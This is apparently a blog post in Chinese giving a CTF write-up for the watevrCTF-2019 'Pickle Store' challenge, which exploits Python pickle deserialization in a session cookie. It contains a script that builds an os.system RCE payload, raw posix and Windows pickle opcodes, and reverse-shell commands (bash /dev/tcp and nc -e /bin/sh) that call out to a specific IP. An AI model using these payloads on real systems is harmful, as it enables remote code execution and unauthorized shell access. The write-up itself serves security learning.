[watevrCTF-2019]Pickle Store

[watevrCTF-2019]Pickle Store

知识点

pickle序列化

解题步骤

先抓个包分析一下


发现奇怪的session
根据题目的意思,应该是个pickle反序列化,而且还经过base64加密
用python解密一下

import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTSIBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBVgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBmVYEAAAAGFudGlfdGFtcGVyX2htYWNxB1ggAAAAYzAwYWJkNzdkODY2Njc3NTU1OWViNjU4M2QxNmNiMWZxCHUu'))
print(result)

结果如下


一开始以为修改价格来购买flag,原来是用反序列化来rce
rce脚本

import cPickle
import sys
import base64

COMMAND = sys.argv[1]

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

print(base64.b64encode(cPickle.dumps(PickleRce())))

然后在linux上运行,因为靶机也是在linux平台上运行的unix和windows payload是不一样的,在unix上是这样的

cposix
system
p1
(S'sleep 5'
p2
tRp3
.

在windows上是这样的

cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.

最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。--摘自https://www.cnblogs.com/20175211lyz/p/12310293.html


然后将payload贴到cookie上,在请求一次,会出500
但是能反弹shell

不懂为啥,用

bash -i >& /dev/tcp/47.96.173.116/2333 0>&1

不能反弹shell
新的反弹shell命令

nc 47.96.173.116 2333 -e/bin/sh
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇